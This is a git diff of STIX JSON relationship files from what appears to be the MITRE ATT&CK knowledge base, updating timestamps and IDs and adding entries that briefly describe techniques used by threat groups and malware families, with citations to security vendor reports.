             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used CVE-2016-7255 to escalate privileges.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5.json b/enterprise-attack/relationship/relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5.json
index 01b660ea82..2de8b7dc71 100644
--- a/enterprise-attack/relationship/relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5.json
+++ b/enterprise-attack/relationship/relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--96844d93-b3c5-4799-9afa-694e3ca98208",
+    "id": "bundle--35f2b43b-8f22-4eea-8be3-1d0334a94551",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike will timestomp any files or payloads placed on a target machine to help them blend in.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--e02d1cb4-1bb7-49b5-a918-5e0d194974aa.json b/enterprise-attack/relationship/relationship--e02d1cb4-1bb7-49b5-a918-5e0d194974aa.json
index 9766f3aa64..ea72aea74a 100644
--- a/enterprise-attack/relationship/relationship--e02d1cb4-1bb7-49b5-a918-5e0d194974aa.json
+++ b/enterprise-attack/relationship/relationship--e02d1cb4-1bb7-49b5-a918-5e0d194974aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1357c55d-ec1b-46df-99e2-84fe39dc1b4b",
+    "id": "bundle--18abd1d6-de93-40c2-96c9-bd6b73bc78c0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e02d1cb4-1bb7-49b5-a918-5e0d194974aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
diff --git a/enterprise-attack/relationship/relationship--e0301b36-c339-49c5-b257-9ece19152922.json b/enterprise-attack/relationship/relationship--e0301b36-c339-49c5-b257-9ece19152922.json
new file mode 100644
index 0000000000..227014778d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e0301b36-c339-49c5-b257-9ece19152922.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--8f59d580-4b10-4a57-bf57-470195f27d0d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e0301b36-c339-49c5-b257-9ece19152922",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>ipconfig /all</code> on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                },
+                {
+                    "source_name": "Palo Alto OilRig Oct 2016",
+                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9.json b/enterprise-attack/relationship/relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9.json
new file mode 100644
index 0000000000..0439056b47
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2a0e1ecd-87b7-4f4e-8e28-859165d96ca6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim's username.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e0bc7e9b-aec8-4e78-baed-f635ee7bd196.json b/enterprise-attack/relationship/relationship--e0bc7e9b-aec8-4e78-baed-f635ee7bd196.json
index 5e3a86e31b..c78f08bbfe 100644
--- a/enterprise-attack/relationship/relationship--e0bc7e9b-aec8-4e78-baed-f635ee7bd196.json
+++ b/enterprise-attack/relationship/relationship--e0bc7e9b-aec8-4e78-baed-f635ee7bd196.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45a57b02-f0a5-4cd3-92bb-56f975f0d04d",
+    "id": "bundle--840d6da5-2443-42d3-aa87-73a29fbf6587",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e0bc7e9b-aec8-4e78-baed-f635ee7bd196",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used Windows Credential Editor for credential dumping, as well as Metasploit\u2019s PsExec NTDSGRAB module to obtain a copy of the victim's Active Directory database.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de.json b/enterprise-attack/relationship/relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de.json
new file mode 100644
index 0000000000..38c6924e8e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b7333a73-f0a1-4a7e-8dce-a60ad9e07895",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may collect active network connections by running <code>netstat -an</code> on a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628.json b/enterprise-attack/relationship/relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628.json
index ba26294ee5..ad7fa67ca9 100644
--- a/enterprise-attack/relationship/relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628.json
+++ b/enterprise-attack/relationship/relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--650bab7e-3e32-4558-bce5-e0c7dad48503",
+    "id": "bundle--ee5378be-08fd-4f8c-b0a8-08d6f08a56bc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Miner-C copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.",
             "source_ref": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234",
diff --git a/enterprise-attack/relationship/relationship--e104cf3c-a802-4e06-8abc-6293cea9492f.json b/enterprise-attack/relationship/relationship--e104cf3c-a802-4e06-8abc-6293cea9492f.json
index 3e7cdf703e..37629dc94a 100644
--- a/enterprise-attack/relationship/relationship--e104cf3c-a802-4e06-8abc-6293cea9492f.json
+++ b/enterprise-attack/relationship/relationship--e104cf3c-a802-4e06-8abc-6293cea9492f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d81ccd01-b4be-4c26-990f-908e08137957",
+    "id": "bundle--00f917a4-ec2b-4085-9948-c755ab38c3f9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e104cf3c-a802-4e06-8abc-6293cea9492f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass uses PowerSploit to inject shellcode into PowerShell.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--e11d4f32-842a-4684-8974-f368e52b8632.json b/enterprise-attack/relationship/relationship--e11d4f32-842a-4684-8974-f368e52b8632.json
index 583dec76a1..fc4c897c18 100644
--- a/enterprise-attack/relationship/relationship--e11d4f32-842a-4684-8974-f368e52b8632.json
+++ b/enterprise-attack/relationship/relationship--e11d4f32-842a-4684-8974-f368e52b8632.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--73b908c8-8760-4b1f-9e50-45b36a190240",
+    "id": "bundle--17c00f5d-ce40-4e82-85ea-5fa2e22e8985",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e11d4f32-842a-4684-8974-f368e52b8632",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT obtains a build identifier as well as victim hard drive information from Windows registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum</code>.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--e1275bcd-0462-4f79-b18f-2132b0bb74ec.json b/enterprise-attack/relationship/relationship--e1275bcd-0462-4f79-b18f-2132b0bb74ec.json
index e3af4154c2..a1182ab2be 100644
--- a/enterprise-attack/relationship/relationship--e1275bcd-0462-4f79-b18f-2132b0bb74ec.json
+++ b/enterprise-attack/relationship/relationship--e1275bcd-0462-4f79-b18f-2132b0bb74ec.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0f2fba51-27d7-4793-9f66-ce6bdc5484f5",
+    "id": "bundle--993da586-6767-4c48-a7a0-90e570d10625",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e1275bcd-0462-4f79-b18f-2132b0bb74ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4",
             "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
diff --git a/enterprise-attack/relationship/relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301.json b/enterprise-attack/relationship/relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301.json
index 85aba1eba1..398ca2cbc7 100644
--- a/enterprise-attack/relationship/relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301.json
+++ b/enterprise-attack/relationship/relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0c173a34-516c-4256-b6b9-95b3b6444d07",
+    "id": "bundle--77baf396-45fc-4d76-9a8e-0a85cf2c04d7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After data is collected by Stealth Falcon malware, it is exfiltrated over the existing C2 channel.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce.json b/enterprise-attack/relationship/relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce.json
index c8fdfcf175..e3375115f6 100644
--- a/enterprise-attack/relationship/relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce.json
+++ b/enterprise-attack/relationship/relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8c3dbf84-c02c-4406-a82a-7536014ede5a",
+    "id": "bundle--e8a6f4d7-ff70-4967-b62c-38937ecbd197",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon scans the C-class subnet of the IPs on the victim's interfaces.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--e20b57e5-c010-4b9e-a04e-660daa8b5c87.json b/enterprise-attack/relationship/relationship--e20b57e5-c010-4b9e-a04e-660daa8b5c87.json
new file mode 100644
index 0000000000..9b6a2f1426
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e20b57e5-c010-4b9e-a04e-660daa8b5c87.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d4b1695f-88e0-4a1d-830e-2e67f2241deb",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e20b57e5-c010-4b9e-a04e-660daa8b5c87",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "obtained OS version and hardware configuration from a victim.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e232f720-ab39-43f4-b419-ae8de115c5e6.json b/enterprise-attack/relationship/relationship--e232f720-ab39-43f4-b419-ae8de115c5e6.json
index 9e42ce41e7..88d1b1e49b 100644
--- a/enterprise-attack/relationship/relationship--e232f720-ab39-43f4-b419-ae8de115c5e6.json
+++ b/enterprise-attack/relationship/relationship--e232f720-ab39-43f4-b419-ae8de115c5e6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b3974072-55bc-42fb-855e-4eef2093155d",
+    "id": "bundle--a9a4aa9e-a1b0-46d6-be3b-1c75bc7bf684",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e232f720-ab39-43f4-b419-ae8de115c5e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "target_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
diff --git a/enterprise-attack/relationship/relationship--e24bd0ff-bc9e-4d26-84ea-008acb4975a1.json b/enterprise-attack/relationship/relationship--e24bd0ff-bc9e-4d26-84ea-008acb4975a1.json
index d1dc26da10..f2cb4df490 100644
--- a/enterprise-attack/relationship/relationship--e24bd0ff-bc9e-4d26-84ea-008acb4975a1.json
+++ b/enterprise-attack/relationship/relationship--e24bd0ff-bc9e-4d26-84ea-008acb4975a1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d839639f-e80b-41a8-9f5f-21c22f40a70f",
+    "id": "bundle--822b6e7c-1505-4119-925e-ae7662781a9c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e24bd0ff-bc9e-4d26-84ea-008acb4975a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d",
             "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
diff --git a/enterprise-attack/relationship/relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84.json b/enterprise-attack/relationship/relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84.json
new file mode 100644
index 0000000000..645c468e5b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84.json
@@ -0,0 +1,38 @@
+{
+    "type": "bundle",
+    "id": "bundle--ac7478ba-7a3b-41e5-8f48-39ebfe85c484",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
+            "external_references": [
+                {
+                    "source_name": "FireEye Respond Webinar July 2017",
+                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
+                    "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e2675622-ec8e-4894-9f5e-3c82944e3019.json b/enterprise-attack/relationship/relationship--e2675622-ec8e-4894-9f5e-3c82944e3019.json
index db6c8aa2e8..c14cbf4e59 100644
--- a/enterprise-attack/relationship/relationship--e2675622-ec8e-4894-9f5e-3c82944e3019.json
+++ b/enterprise-attack/relationship/relationship--e2675622-ec8e-4894-9f5e-3c82944e3019.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--764fa307-5b37-445d-8244-1d63f8b50d2c",
+    "id": "bundle--45c0ceaf-4081-46f4-8b33-198908233393",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e2675622-ec8e-4894-9f5e-3c82944e3019",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover operating system configuration details using the <code>systeminfo</code> and <code>set</code> commands.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--e27e75c2-5734-4602-8a32-c56bb50f890b.json b/enterprise-attack/relationship/relationship--e27e75c2-5734-4602-8a32-c56bb50f890b.json
index 1495fed5b0..b53ae28ad9 100644
--- a/enterprise-attack/relationship/relationship--e27e75c2-5734-4602-8a32-c56bb50f890b.json
+++ b/enterprise-attack/relationship/relationship--e27e75c2-5734-4602-8a32-c56bb50f890b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b4199a5e-2045-4671-b05d-de449306cf05",
+    "id": "bundle--d71230b3-927d-4bc4-b906-fe65601d4bc9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e27e75c2-5734-4602-8a32-c56bb50f890b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SNUGRIDE is capable of executing commands and spawning a reverse shell.",
             "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
diff --git a/enterprise-attack/relationship/relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd.json b/enterprise-attack/relationship/relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd.json
new file mode 100644
index 0000000000..ac60e230f8
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--023b8d30-2023-404e-96db-0cb60627c4a1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "If running as administrator,  installs itself as a new service named bmwappushservice to establish persistence.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35.json b/enterprise-attack/relationship/relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35.json
index e8ca2c079f..bce665a571 100644
--- a/enterprise-attack/relationship/relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35.json
+++ b/enterprise-attack/relationship/relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4d7fab80-706c-49f7-af4e-7e8aab508f18",
+    "id": "bundle--7a954dcd-5a8b-4204-bfc4-05c73dcd418e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Poseidon Group's Information Gathering Tool (IGT) includes PowerShell components.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--e2e2d332-f27b-46fb-b48f-4ee1872b321f.json b/enterprise-attack/relationship/relationship--e2e2d332-f27b-46fb-b48f-4ee1872b321f.json
index cecce01c88..d2959fd8d2 100644
--- a/enterprise-attack/relationship/relationship--e2e2d332-f27b-46fb-b48f-4ee1872b321f.json
+++ b/enterprise-attack/relationship/relationship--e2e2d332-f27b-46fb-b48f-4ee1872b321f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ea6e158d-bdff-4026-8c1d-7ee9be2a9106",
+    "id": "bundle--2dbdd26c-d96d-4e03-a610-2e95f351bef1",
     "spec_version": "2.0",
